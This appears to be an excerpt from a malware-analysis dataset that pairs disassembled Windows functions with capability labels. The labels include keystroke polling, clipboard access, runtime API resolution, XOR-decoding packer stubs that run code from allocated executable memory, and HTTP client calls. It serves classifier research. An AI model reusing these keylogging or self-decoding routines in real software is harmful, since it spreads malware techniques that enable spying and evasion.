joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d4791
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x54d894]
xor eax, ebp
mov dword [ebp - 4], eax
movzx edx, cx
test ecx, 0x10000
jne 0x4d47bb
lea eax, [ecx - 0x61]
cmp ax, 0x19
ja 0x4d47bb
lea eax, [ecx - 0x20]
movzx edx, ax
movdqa xmm0, xmmword [0x52f4d0]
push 0x5b
pop eax
mov word [ebp - 0xc], ax
mov eax, 0xdb
mov word [ebp - 0xa], ax
push 0x5d
pop eax
mov word [ebp - 8], ax
mov eax, 0xdd
movdqu xmmword [ebp - 0x2c], xmm0
mov word [ebp - 6], ax
xor eax, eax
movdqa xmm0, xmmword [0x52f4e0]
movdqu xmmword [ebp - 0x1c], xmm0
cmp dx, word [ebp + eax*2 - 0x2c]
jne 0x4d4803
movzx edx, word [ebp + eax*2 - 0x2a]
add eax, 2
cmp eax, 0x14
jl 0x4d47f7
movsx eax, dx
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [ebp - 4]
shr eax, 0xf
xor ecx, ebp
and eax, 1
call fcn.004db457
mov esp, ebp
pop ebp
ret

Function at 0x4d4bb6
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push esi
push edi
push 0
mov ebx, ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4d4c27
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x4d4c1e
mov eax, dword [ebx]
push ecx
mov ecx, esp
mov dword [ecx], eax
call fcn.0043e255
pop ecx
lea edi, [eax + 4]
test edi, edi
je 0x4d4c1e
lea eax, [edi + 2]
push eax
push 0x2042
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4d4c1e
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4d4c1e
push edi
push eax
mov ecx, ebx
call fcn.0042f987
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
pop edi
pop esi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebx
ret

Function at 0x4d4c2b
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push 0xc
mov eax, 0x509022
call fcn.004e2dc9
mov esi, ecx
mov dword [ebp - 0x18], esi
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [esi], 0x51d44c
mov dword [ebp - 4], eax
push eax
mov dword [ebp - 0x10], 1
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4d4cad
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
test edi, edi
je 0x4d4ca7
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, eax
test ebx, ebx
je 0x4d4ca7
push edi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push ecx
mov ecx, esp
shr eax, 1
mov edx, eax
mov dword [ecx], ebx
lea ecx, [ebp - 0x14]
call fcn.0043d9aa
mov eax, dword [esi]
mov ecx, dword [ebp - 0x14]
mov dword [esi], ecx
mov ecx, esp
mov dword [ecx], eax
call fcn.0042db1d
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, esi
call fcn.004e2d97
ret
Function at 0x4f3ec3
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x54d894]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004e50dc
mov dword [ebp - 0x14], eax
cmp dword [0x555890], esi
jne 0x4f3fb6
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4f3f43
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4f4096
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4f4096
push 0x51a9a8
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4f4096
push eax
call ebx
push 0x51a9b4
push edi
mov dword [0x555890], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x555894], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x555898], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5558a0], eax
test eax, eax
je 0x4f3fb3
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x55589c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4f3fdb
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4f3fce
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4f3ff0
push 4
pop eax
jmp 0x4f4098
cmp dword [ebp - 0x14], esi
je 0x4f3ff0
push dword [0x555890]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4f3fd5
mov eax, dword [0x55589c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4f404e
cmp dword [0x5558a0], edi
je 0x4f404e
push eax
call ebx
push dword [0x5558a0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4f404e
test eax, eax
je 0x4f404e
call ecx
test eax, eax
je 0x4f4043
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4f4043
test byte [ebp - 8], 1
jne 0x4f404e
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4f407e
mov eax, dword [0x555894]
cmp eax, edi
je 0x4f407b
push eax
call ebx
test eax, eax
je 0x4f407b
call eax
mov esi, eax
test esi, esi
je 0x4f407b
mov eax, dword [0x555898]
cmp eax, edi
je 0x4f407b
push eax
call ebx
test eax, eax
je 0x4f407b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x555890]
call ebx
test eax, eax
je 0x4f4096
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4f4098
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004db457
mov esp, ebp
pop ebp
ret
Function at 0x32015538
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
mov edi, ecx
xor esi, esi
push 0x32055b88
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidConverterCreate
push dword [edi + 4]
mov dword [edi + 0xc], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidConverterClose
push dword [edi + 4]
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidAttachCallback
push dword [edi + 4]
mov dword [edi + 0x14], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidDetachCallback
push dword [edi + 4]
mov dword [edi + 0x18], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidSetConfiguration
push dword [edi + 4]
mov dword [edi + 0x1c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidSetOCRInterface
push dword [edi + 4]
mov dword [edi + 0x20], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidConvert
push dword [edi + 4]
mov dword [edi + 0x24], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidConvertSelection
push dword [edi + 4]
mov dword [edi + 0x28], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidExtractTables
push dword [edi + 4]
mov dword [edi + 0x2c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidExtractSelectedTables
push dword [edi + 4]
mov dword [edi + 0x30], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidExtractImages
push dword [edi + 4]
mov dword [edi + 0x34], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidResetOptions
push dword [edi + 4]
mov dword [edi + 0x38], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidSetOptionInt
push dword [edi + 4]
mov dword [edi + 0x3c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidGetOptionInt
push dword [edi + 4]
mov dword [edi + 0x40], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidSetOptionString
push dword [edi + 4]
mov dword [edi + 0x44], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.SolidGetOptionString
push dword [edi + 4]
mov dword [edi + 0x48], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [edi + 0x4c], eax
cmp dword [edi + 0xc], esi
je 0x320156b7
cmp dword [edi + 0x10], esi
je 0x320156b7
cmp dword [edi + 0x14], esi
je 0x320156b7
cmp dword [edi + 0x18], esi
je 0x320156b7
cmp dword [edi + 0x1c], esi
je 0x320156b7
cmp dword [edi + 0x20], esi
je 0x320156b7
cmp dword [edi + 0x24], esi
je 0x320156b7
cmp dword [edi + 0x28], esi
je 0x320156b7
cmp dword [edi + 0x2c], esi
je 0x320156b7
cmp dword [edi + 0x30], esi
je 0x320156b7
cmp dword [edi + 0x34], esi
je 0x320156b7
cmp dword [edi + 0x38], esi
je 0x320156b7
cmp dword [edi + 0x3c], esi
je 0x320156b7
cmp dword [edi + 0x40], esi
je 0x320156b7
cmp dword [edi + 0x44], esi
je 0x320156b7
cmp dword [edi + 0x48], esi
je 0x320156b7
xor ecx, ecx
inc ecx
test eax, eax
cmovne esi, ecx
pop edi
mov ax, si
pop esi
ret
Function at 0x32025692
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x320256a1
pop dword [ebp - 0x38]
mov eax, 0xaf4edb0e
add eax, 0x82b37b93
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x39baf717
sub dword [ebp - 0x48], 0xeb68b1cc
mov dword [ebp - 0x44], 0xe764caad
sub dword [ebp - 0x44], 0xb5317e68
mov dword [ebp - 0x40], 0x673ca793
sub dword [ebp - 0x40], 0x1af06365
mov dword [ebp - 0x3c], 0xa695dbfa
sub dword [ebp - 0x3c], 0xa695dbfa
lea eax, [ebp - 0x48]
push eax
mov eax, 0xc81918e8
add eax, 0x69ec179c
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x1ba2945f
sub dword [ebp - 0x48], 0xa7302b09
mov dword [ebp - 0x44], 0xdcadba1b
sub dword [ebp - 0x44], 0x9b4158a6
mov dword [ebp - 0x40], 0xe688a4f6
add dword [ebp - 0x40], 0x7ce6c776
mov dword [ebp - 0x3c], 0x8c2a484b
add dword [ebp - 0x3c], 0x73d5b7b5
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x45eab
push 0
call eax
mov ecx, 0xeb4824ba
sub ecx, 0xeb47e25f
mov esi, eax
mov edx, 0x4df83fb9
add edx, 0xe40f6247
add edx, dword [ebp - 0x38]
mov edi, 0xe8e7d640
add edi, 0xaa4de08
mov dword [ebp - 0x1c], 0x2326c23b
mov ebx, dword [edx]
xor dword [ebp - 0x1c], ebx
add ebx, edi
sub dword [ebp - 0x2c], 0xe027a0a4
mov dword [esi], ebx
mov dword [ebp - 0x2c], 0x84f254ba
add esi, 0xc987352f
sub esi, 0xc987352b
add edx, 0x35875e22
sub edx, 0x35875e1e
loop 0x320257be
add eax, 0xfc3f
mov ebx, eax
add eax, 5
mov ecx, 0x866b19d3
add ecx, 0xab94e62d
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x25d01af6
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x432060
nop
nop
nop
mov eax, section..data_1
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x5fa113c2
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x1002e160
Capabilities:
Hash data using fnv
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x1013d0b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0x102
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x214], eax
mov dword [eax], 1
je 0x1002e294
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push 0x10
mov dword [ebp - 0x208], ebx
mov esi, ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e1b7
or ebx, 0x10000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e1d4
mov ebx, esi
or ebx, 0x20000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e1ef
mov ebx, esi
or ebx, 0x40000
mov dword [ebp - 0x208], ebx
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10143cdc]
push edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10144758]
cmp eax, dword [ecx + 4]
jg 0x1002e2a6
movzx eax, bl
xor eax, 0x811c9dc5
mov edx, dword [0x1014473c]
imul ecx, eax, 0x1000193
movzx eax, bh
xor ecx, eax
movzx eax, byte [ebp - 0x206]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebp - 0x205]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul esi, ecx, 0x1000193
mov ecx, dword [0x10144744]
and esi, dword [0x10144750]
mov edi, dword [ecx + esi*8]
mov eax, edi
nop
cmp edi, edx
jne 0x1002e268
mov ecx, edx
jmp 0x1002e26e
mov ecx, dword [ecx + esi*8 + 4]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x1002e291
cmp dword [eax + 8], ebx
je 0x1002e281
mov eax, dword [eax]
mov ecx, dword [0x10144744]
jmp 0x1002e260
cmp eax, edx
je 0x1002e291
mov eax, dword [ebp - 0x214]
mov dword [eax], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.100055f3
mov esp, ebp
pop ebp
ret 0x20
push 0x10144758
call fcn.10048da0
add esp, 4
cmp dword [0x10144758], 0xffffffff
jne 0x1002e210
mov ecx, 0x80
mov dword [0x10144738], 0
mov esi, 0x100ff040
mov dword [0x1014473c], 0
lea edi, [ebp - 0x204]
mov dword [0x10144740], 0
rep movsd dword es:[edi], dword [esi]
push 0
push 0
mov ecx, 0x1014473c
call fcn.10048da0
push 8
mov ecx, 0x10144738
mov dword [0x1014473c], eax
mov dword [0x10144744], 0
mov dword [0x10144748], 0
mov dword [0x1014474c], 0
mov dword [0x10144738], 0x3f800000
call fcn.10048da0
lea edi, [ebp - 0x204]
jmp 0x1002e340
mov eax, dword [0x1014473c]
mov ecx, 0x1014473c
push edi
mov esi, dword [eax]
mov eax, dword [esi + 4]
push eax
push esi
mov dword [ebp - 0x20c], eax
call fcn.10048da0
mov edx, dword [0x10144740]
mov ecx, 0x15555554
sub ecx, edx
mov dword [ebp - 0x210], eax
cmp ecx, 1
jb 0x1002e3d0
mov ecx, dword [ebp - 0x210]
inc edx
mov dword [0x10144740], edx
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x20c]
mov dword [eax], ecx
mov ecx, 0x10144738
mov eax, dword [0x1014473c]
mov eax, dword [eax]
push eax
add eax, 8
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.10048da0
add edi, 4
lea eax, [ebp - 4]
cmp edi, eax
jne 0x1002e340
push 0x100f22d0
call fcn.10048da0
push 0x10144758
call fcn.10048da0
add esp, 8
jmp 0x1002e210
push str.list_T__too_long
call fcn.10048da0
int3
Function at 0x10048da0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x10048daf
pop dword [ebp - 0x44]
mov eax, 0xbb19a27d
sub eax, 0xab1514ce
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x7f013
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0xf73dd370
add ecx, 0x8c2764d
mov edx, eax
mov esi, 0x83ec3fac
sub esi, 0x73d5f1ac
add esi, dword [ebp - 0x44]
mov ebx, 0x2817dae
sub ebx, 0xe5d94d2b
sub dword [ebp - 0x38], 0xc1cc37c
mov edi, dword [esi]
xor dword [ebp - 0x10], 0x1c8d0f93
add edi, ebx
sub dword [ebp - 0x40], 0xc561f879
mov dword [edx], edi
xor dword [ebp - 0x24], ebx
add edx, 0xe981473d
sub edx, 0xe9814739
add esi, 0x5b04e522
add esi, 0xa4fb1ae2
loop 0x10048e09
add eax, 0xf2c5d5c9
add eax, 0xd3b43fe
xor ebx, ebx
add ebx, eax
add eax, 0xd987dd6e
add eax, 0x26782297
mov ecx, 0xbf1e39ef
add ecx, 0x50e1c611
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x1009d6f0
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 0x30]
mov ecx, esi
call fcn.100491d0
movzx edi, al
mov ecx, esi
neg edi
sbb edi, edi
and edi, 0x800000
call fcn.100491d0
test al, al
je 0x1009d738
mov eax, dword [ebx]
push 0x800
push 0x54
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x100f4524]
mov ecx, ebx
call esi
lea esi, [ebx + 0x30]
push 0xd
mov ecx, ebx
call fcn.10048da0
cmp dword [ebx + 0x40], 0
je 0x1009d7a0
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.10048da0
push edi
push 0
push 0
push 0
push dword [eax]
push dword [ebx + 0x10]
push dword [ebx + 0x40]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ecx, dword [ebp - 4]
mov dword [ebx + 0x44], eax
add ecx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x1009d791
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f4524]
mov ecx, edi
call esi
cmp dword [ebx + 0x44], 0
je 0x1009d7a7
push 0xe
mov ecx, ebx
call fcn.10048da0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.10048da0
push 0x10126738
lea eax, [ebp - 0x10]
push eax
call fcn.10048da0
int3
Function at 0x1009db10
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eeb79
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 1
call fcn.10002710
mov edi, eax
test edi, edi
je 0x1009dc5e
mov eax, dword [edi]
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x100f4524]
mov ecx, edi
call esi
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
push 0
push dword [ebp + 0x10]
mov dword [ebp - 0x14], 1
push dword [ebp + 0xc]
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1009dc48
mov esi, dword [ebp - 0x10]
cmp esi, 0xa00000
ja 0x1009dc68
shr esi, 1
sub esi, 1
js 0x1009dc83
mov eax, dword [edi]
mov ecx, 1
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, esi
or ecx, eax
jge 0x1009dbe0
push esi
mov ecx, edi
call fcn.10048da0
mov ecx, dword [edi]
cmp esi, dword [ecx - 8]
jg 0x1009dc83
mov dword [ecx - 0xc], esi
xor edx, edx
mov eax, dword [edi]
push edx
mov word [eax + esi*2], dx
lea eax, [ebp - 0x10]
push eax
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov ecx, dword [edi]
mov esi, eax
test ecx, ecx
je 0x1009dc25
push dword [ecx - 8]
push ecx
call fcn.10048da0
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x1009dc83
mov eax, dword [edi]
cmp ecx, dword [eax - 8]
jg 0x1009dc83
mov dword [eax - 0xc], ecx
xor edx, edx
mov eax, dword [edi]
mov word [eax + ecx*2], dx
test esi, esi
jne 0x1009dc48
push esi
push 0x100f6204
mov ecx, edi
call fcn.10048da0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0x80004005
call fcn.10048da0
push 0xcaa10024
lea ecx, [ebp - 0x20]
call fcn.10048da0
push 0x1012ad98
lea eax, [ebp - 0x20]
push eax
call fcn.10048da0
push 0x80070057
call fcn.10048da0
int3
Function at 0x1009dc90
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eeba8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebx + 0x18]
lea esi, [ebx + 0x14]
sub edi, dword [esi]
mov eax, dword [ebp + 8]
add eax, edi
cmp eax, 0xa00000
jg 0x1009dd2a
lea ecx, [ebp - 0xd]
mov byte [ebp - 0xd], 0
push ecx
push esi
push eax
mov ecx, esi
call fcn.10048da0
mov eax, dword [esi]
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp + 8]
add eax, edi
mov dword [ebp - 0x14], 0
push eax
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1009dd45
mov eax, dword [ebp - 0x14]
mov ecx, esi
push esi
add eax, edi
push eax
call fcn.10048da0
push 0xa
mov ecx, ebx
call fcn.10048da0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0xcaa10024
lea ecx, [ebp - 0x24]
call fcn.10048da0
push 0x1012ad98
lea eax, [ebp - 0x24]
push eax
call fcn.10048da0
push 0x100f6204
lea ecx, [ebp - 0x18]
call fcn.10048da0
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x38]
call fcn.10048da0
push 0x1012bb4c
lea eax, [ebp - 0x38]
push eax
call fcn.10048da0
int3
Function at 0x1009e1b0
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eec38
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
lea ecx, [ebx + 0x30]
mov dword [ebx + 4], ebx
call fcn.100493d0
test eax, eax
jne 0x1009e1ed
xor edi, edi
jmp 0x1009e1f7
lea ecx, [ebx + 0x30]
call fcn.100493d0
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebx + 0x30]
call fcn.10048da0
mov esi, dword [eax]
mov ecx, 0x101448a8
movzx eax, byte [ebx + 0x3d]
push eax
mov dword [ebp - 4], 0
call fcn.10048da0
push 0
push 0
push 3
push 0
push 0
push edi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ecx, dword [ebp - 0x10]
mov dword [ebx + 0x48], eax
add ecx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x1009e25f
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f4524]
mov ecx, edi
call esi
mov eax, dword [ebx + 0x48]
test eax, eax
je 0x1009e292
push 0x1009ea40
push eax
call dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
cmp eax, 0xffffffff
je 0x1009e2c6
push 2
mov ecx, ebx
call fcn.10048da0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x100f6204
lea ecx, [ebp - 0x10]
call fcn.10048da0
mov esi, eax
mov dword [ebp - 4], 1
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x28]
call fcn.10048da0
push 0x1012bb4c
lea eax, [ebp - 0x28]
push eax
call fcn.10048da0
push 0x100f6204
lea ecx, [ebp - 0x14]
call fcn.10048da0
mov esi, eax
mov dword [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x3c]
call fcn.10048da0
push 0x1012bb4c
lea eax, [ebp - 0x3c]
push eax
call fcn.10048da0
int3